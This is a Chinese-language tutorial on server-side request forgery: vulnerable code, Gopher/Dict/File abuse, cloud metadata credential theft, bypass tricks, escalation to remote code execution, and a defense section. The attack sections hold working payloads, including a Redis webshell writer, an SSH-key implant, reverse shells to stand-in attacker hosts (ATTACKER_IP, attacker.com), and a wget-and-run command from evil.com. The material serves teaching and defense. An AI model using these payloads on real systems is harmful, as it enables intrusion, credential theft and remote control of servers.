一、引言
服务端请求伪造(Server-Side Request Forgery,SSRF)是近年云原生时代最危险的 Web 漏洞之一。2019 年 Capital One 数据泄露事件中,攻击者正是通过 SSRF 窃取 AWS 元数据,最终导致 1.06 亿用户数据泄露。SSRF 可以让攻击者以服务端为跳板,访问内部网络、读取云平台元数据、甚至实现远程代码执行。本文将从原理到实战,全面解析 SSRF 的攻击链路与防御策略。
二、SSRF 攻击原理与常见入口
2.1 漏洞产生根源
当应用程序从用户处接收 URL 或 IP 地址,并以服务端身份发起 HTTP 请求时,如果未对目标地址做严格限制,即产生 SSRF。
# 存在漏洞的图片代理服务
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/fetch-image')
def fetch_image():
url = request.args.get('url')
# 危险:服务端直接请求用户提供的 URL
resp = requests.get(url)
return resp.content
# 攻击:/fetch-image?url=http://169.254.169.254/latest/meta-data/
2.2 常见 SSRF 入口
| 功能点 | 参数示例 | 风险 |
|---|---|---|
| 图片/文件下载代理 | ?url=https://example.com/img.jpg |
高 |
| 网页预览/截图服务 | ?target=https://example.com |
高 |
| Webhook 配置 | ?callback_url=http://attacker.com |
中 |
| 远程文件包含 | ?file=http://evil.com/shell.txt |
极高 |
| PDF 生成服务 | HTML→PDF 中嵌入外部图片 | 中 |
| API 聚合/代理 | ?endpoint=http://internal/api |
极高 |
三、SSRF 协议利用矩阵
SSRF 的强大不仅在于 HTTP 协议。在支持多种协议的语言/库中,攻击面成倍扩大。
3.1 HTTP/HTTPS —— 基础探测
# 内网端口扫描
import requests
import sys
target = sys.argv[1]
for port in [22, 80, 443, 3306, 6379, 8080, 9090, 27017]:
try:
r = requests.get(f"http://{target}:{port}", timeout=2)
print(f"[OPEN] {target}:{port} - {r.status_code}")
except requests.exceptions.ConnectTimeout:
print(f"[CLOSED] {target}:{port}")
except requests.exceptions.ConnectionError:
print(f"[FILTERED] {target}:{port}")
except Exception as e:
print(f"[UNKNOWN] {target}:{port} - {type(e).__name__}")
3.2 Gopher 协议 —— 万金油协议
Gopher 是 SSRF 中的瑞士军刀,可以构造任意 TCP 数据流,实现对 Redis、MySQL、Memcached 等服务的攻击。
攻击 Redis 写入 Webshell:
# 1. 构造 Gopher Payload(Redis 命令)
# Redis 命令:
# FLUSHALL
# SET shell "<?php system($_GET['cmd']);?>"
# CONFIG SET dir /var/www/html/
# CONFIG SET dbfilename shell.php
# SAVE
# 2. 转换为 Gopher 格式(URL 编码)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$28%0d%0a<?php system($_GET['cmd']);?>%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
Python 构造 Gopher Payload 脚本:
#!/usr/bin/env python3
"""SSRF Gopher Payload Generator"""
import urllib.parse
def build_gopher_payload(host, port, commands):
"""
将 Redis 命令列表转换为 Gopher URL
commands: 每行一条 Redis 命令
"""
# 构造 RESP 协议格式
payload = ""
for cmd_line in commands:
if not cmd_line.strip() or cmd_line.strip().startswith('#'):
continue
parts = cmd_line.strip().split()
payload += f"*{len(parts)}\r\n"
for part in parts:
payload += f"${len(part)}\r\n{part}\r\n"
# Gopher 协议的 _ 字符需要二次编码
encoded = urllib.parse.quote(payload, safe='')
gopher_url = f"gopher://{host}:{port}/_{encoded}"
return gopher_url
# 示例:向 Redis 写入 SSH 公钥
redis_commands = """
FLUSHALL
SET ssh_key "\\n\\nssh-rsa AAAAB3NzaC1yc2E...attacker@kali\\n\\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
"""
url = build_gopher_payload("127.0.0.1", 6379, redis_commands.splitlines())
print(f"[+] Gopher Payload:\n{url}")
# 通过 SSRF 发送
# /fetch-image?url={url}
3.3 Dict 协议 —— 端口探测利器
# Dict 协议直接发送文本到目标端口,适合快速端口扫描
dict://127.0.0.1:6379/info # 返回 Redis INFO
dict://127.0.0.1:3306/ # 探测 MySQL
dict://127.0.0.1:11211/stats # 探测 Memcached
# 端口扫描 Burp Intruder Payload
# Target: dict://127.0.0.1:§port§
# Port list: 21,22,80,443,1433,1521,3306,5432,6379,8080,11211,27017
3.4 File 协议 —— 任意文件读取
# 读取敏感文件(需要后端支持 file://)
file:///etc/passwd
file:///proc/self/environ
file:///app/.env # 云环境密钥文件
file:///proc/1/cwd/.env # Docker 容器内
四、云元数据窃取实战
4.1 AWS EC2 元数据窃取
AWS EC2 实例内部可通过 169.254.169.254 访问元数据服务(IMDSv1):
import requests
# 通过 SSRF 窃取 AWS 元数据的完整链
target_ssrf_url = "https://vulnerable-app.com/fetch?url="
# Step 1: 获取 IAM 角色名
imds_base = "http://169.254.169.254/latest/meta-data"
role_url = f"{imds_base}/iam/security-credentials/"
role_name = requests.get(f"{target_ssrf_url}{role_url}").text
# Step 2: 获取临时凭证(AccessKey, SecretKey, Token)
creds_url = f"{imds_base}/iam/security-credentials/{role_name.strip()}"
creds = requests.get(f"{target_ssrf_url}{creds_url}").json()
print(f"""
[+] AWS Credentials Stolen:
AccessKeyId: {creds['AccessKeyId']}
SecretAccessKey: {creds['SecretAccessKey']}
Token: {creds['Token']}
Expiration: {creds['Expiration']}
""")
# Step 3: 使用窃取的凭证列举 S3 Bucket
# aws s3 ls --profile stolen
# aws s3 cp s3://target-bucket/database_backup.sql ./
IMDSv2 限制:AWS 已推出 IMDSv2,要求请求携带 PUT 方法获取的 Token。但多数云环境仍兼容 IMDSv1。
4.2 阿里云 ECS 元数据窃取
# 阿里云 ECS 元数据端点
curl http://100.100.100.200/latest/meta-data/
# 关键元数据路径
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/ram/security-credentials/{role-name}
http://100.100.100.200/latest/meta-data/private-ipv4
http://100.100.100.200/latest/user-data # 可能包含初始化脚本中的敏感信息
4.3 腾讯云 CVM 元数据
# 腾讯云元数据端点(metadata 拼写注意)
curl http://metadata.tencentyun.com/latest/meta-data/
curl http://169.254.0.23/latest/meta-data/
# 获取角色凭证
curl http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/{role-name}
4.4 GCP / Azure / DigitalOcean
# GCP
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token \
-H "Metadata-Flavor: Google"
# Azure
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ \
-H "Metadata: true"
# DigitalOcean
curl http://169.254.169.254/metadata/v1.json
五、SSRF 绕过技巧
5.1 IP 限制绕过
# 黑名单绕过:多种 IP 表示法
http://2130706433/ # 十进制 IP → 127.0.0.1
http://0x7f000001/ # 十六进制
http://0x7f.0.0.1/ # 混合表示
http://0177.0.0.1/ # 八进制
http://127.0.0.1.xip.io/ # DNS 解析到 127.0.0.1
http://[::1]/ # IPv6 环回地址
http://[0:0:0:0:0:ffff:127.0.0.1]/ # IPv6 映射 IPv4
http://127.0.0.1.nip.io/ # nip.io 任意 IP 解析服务
5.2 URL 解析器混淆
# 利用不同 URL 解析器的差异
# 1. 利用 @ 符号
http://trusted.com@evil.com # 部分解析器认为是 trusted.com,实际请求 evil.com
http://evil.com#@trusted.com # # 后视为 fragment
# 2. 利用 URL Scheme 大小写
HTTP://169.254.169.254/ # 大写绕过
# 3. 利用 URL 编码
http://169.254.169.254%2f@evil.com/ # 解析差异
# 4. 利用重定向(302 跳转)
# 让一个外网可控域名 302 跳转到 http://169.254.169.254/
# 首次 URL 校验通过 → 跟随跳转 → 请求内网
5.3 DNS Rebinding
#!/usr/bin/env python3
"""
DNS Rebinding 攻击:利用 TTL=0 的 DNS 记录在不同解析时刻返回不同 IP
"""
from flask import Flask, request
app = Flask(__name__)
TOGGLE = False
@app.route('/resolve')
def dns_rebind():
"""模拟 DNS 服务器,交替返回外网 IP 和内网 IP"""
global TOGGLE
TOGGLE = not TOGGLE
if TOGGLE:
return "1.2.3.4" # 首次校验:外网合法 IP
else:
return "127.0.0.1" # 实际请求:内网
# 使用 rbndr.us 服务实现 DNS Rebinding
# 域名:7f000001.127.0.0.1.rbndr.us → 交替返回 127.0.0.1 和 另一个 IP
六、SSRF 进阶:从 HTTP 到 RCE
6.1 Redis RCE 完整链
# Step 1: 通过 SSRF 探测内网 Redis(无密码)
# SSRF: /fetch?url=dict://10.0.1.5:6379/INFO
# Step 2: 构造 RCE Payload——写 crontab 反弹 Shell
# 使用 gopher 协议(需要后端支持,如 curl)
cat << 'EOF' | python3 -c "
import sys, urllib.parse
payload = '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n'
cmds = f'*3\r\n\$6\r\nCONFIG\r\n\$3\r\nSET\r\n\$3\r\ndir\r\n\$4\r\n/etc\r\n*4\r\n\$6\r\nCONFIG\r\n\$3\r\nSET\r\n\$10\r\ndbfilename\r\n\$7\r\ncrontab\r\n*1\r\n\$4\r\nSAVE\r\n'
# 实际写入 crontab 更复杂,这里简化演示
print('gopher://10.0.1.5:6379/_' + urllib.parse.quote(payload))
"
6.2 结合反序列化漏洞
// 当 SSRF 遇到不安全的 Java 反序列化
// SSRF → 内网 Weblogic/Jenkins → T3/IIOP → 反序列化 RCE
// 使用 ysoserial 生成 Payload
// java -jar ysoserial.jar CommonsCollections6 'wget http://evil.com/shell.sh -O /tmp/s.sh;bash /tmp/s.sh' > payload.ser
// 通过 SSRF 使用 gopher 协议投递到内网 Weblogic
// gopher://10.0.2.15:7001/_<hex_encoded_payload>
6.3 利用 SSRF 攻击内部 API
// SSRF → 内网 Kubernetes API Server
// Kubernetes API 通常监听在 10.0.0.1:443 或 10.96.0.1:443
// 通过 SSRF 创建特权 Pod
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: 10.96.0.1:443
Authorization: Bearer <serviceaccount-token-from-/var/run/secrets/kubernetes.io/serviceaccount/token>
Content-Type: application/json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "evil-pod"},
"spec": {
"containers": [{
"name": "evil",
"image": "alpine",
"command": ["/bin/sh", "-c", "nc attacker.com 4444 -e /bin/sh"],
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{"name": "host", "hostPath": {"path": "/"}}]
}
}
七、防御方案
7.1 第一层:应用层防御
#!/usr/bin/env python3
"""SSRF 安全请求封装"""
import socket
from urllib.parse import urlparse
import ipaddress
import requests
# 内网 IP 段黑名单
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # 云元数据地址
ipaddress.ip_network('224.0.0.0/4'), # 组播
]
BLOCKED_HOSTS = {
'metadata.google.internal',
'100.100.100.200', # 阿里云元数据
'metadata.tencentyun.com',
}
def is_safe_url(url):
"""多层级 URL 安全检查"""
parsed = urlparse(url)
# 1. 仅允许 HTTP/HTTPS
if parsed.scheme not in ('http', 'https'):
return False, f"Forbidden scheme: {parsed.scheme}"
# 2. 检查主机名黑名单
hostname = parsed.hostname
if hostname in BLOCKED_HOSTS:
return False, f"Forbidden hostname: {hostname}"
# 3. DNS 解析后检查 IP(防止 DNS Rebinding)
try:
ip = socket.getaddrinfo(hostname, None)[0][4][0]
except socket.gaierror:
return False, "DNS resolution failed"
ip_obj = ipaddress.ip_address(ip)
# 4. 检查是否为内网地址
for network in BLOCKED_NETWORKS:
if ip_obj in network:
return False, f"Forbidden IP range: {ip} ({network})"
# 5. 禁止重定向(使用 allow_redirects=False)
return True, None
def safe_fetch(url, timeout=5):
"""安全的请求代理"""
safe, reason = is_safe_url(url)
if not safe:
raise ValueError(f"SSRF blocked: {reason}")
# 关键:禁用自动重定向
resp = requests.get(url, timeout=timeout, allow_redirects=False, stream=True)
# 检查重定向
if resp.status_code in (301, 302, 303, 307, 308):
redirect_url = resp.headers.get('Location', '')
safe, _ = is_safe_url(redirect_url)
if not safe:
raise ValueError("SSRF blocked: redirect to dangerous target")
return resp.content
7.2 第二层:网络层防御
# iptables 规则:禁止应用用户访问元数据端点
iptables -A OUTPUT -d 169.254.169.254 -j DROP -m owner --uid-owner appuser
iptables -A OUTPUT -d 100.100.100.200 -j DROP -m owner --uid-owner appuser
# Docker 网络隔离
docker network create --internal secure-network
docker run --network=secure-network myapp # 无外网无内网访问能力
7.3 第三层:架构层防御
| 策略 | 说明 | 难度 |
|---|---|---|
| 正向代理白名单 | Nginx/Squid 只允许代理到已知外部域名 | 低 |
| AWS IMDSv2 强制 | 禁用 IMDSv1,仅允许 PUT 请求获取 Token | 低 |
| 网络策略隔离 | Kubernetes NetworkPolicy 禁止 Pod 间横向访问 | 中 |
| 微隔离 | 应用层之间零信任,彼此不可见 | 高 |
| eBPF 内核级过滤 | Cilium/Tetragon 在系统调用级别阻断 SSRF | 高 |
八、总结
SSRF 在云原生时代被赋予了新的攻击维度——从单纯的内网探针升级为"云凭证窃取 → 横向移动 → 数据泄露"的完整杀伤链。防御 SSRF 需要:
- 永远不信任用户提供的 URL——白名单 > 黑名单
- 限制协议与重定向——只允许 HTTPS,禁用自动跳转
- 网络层隔离——用 iptables/NetworkPolicy 阻断元数据访问
- 云平台加固——启用 IMDSv2,使用实例角色最小权限
- DNS 再解析校验——获取真实 IP 后再做一次地址校验
记住:SSRF 不是"能不能打进去"的问题,而是"打进去后能走多远"的问题。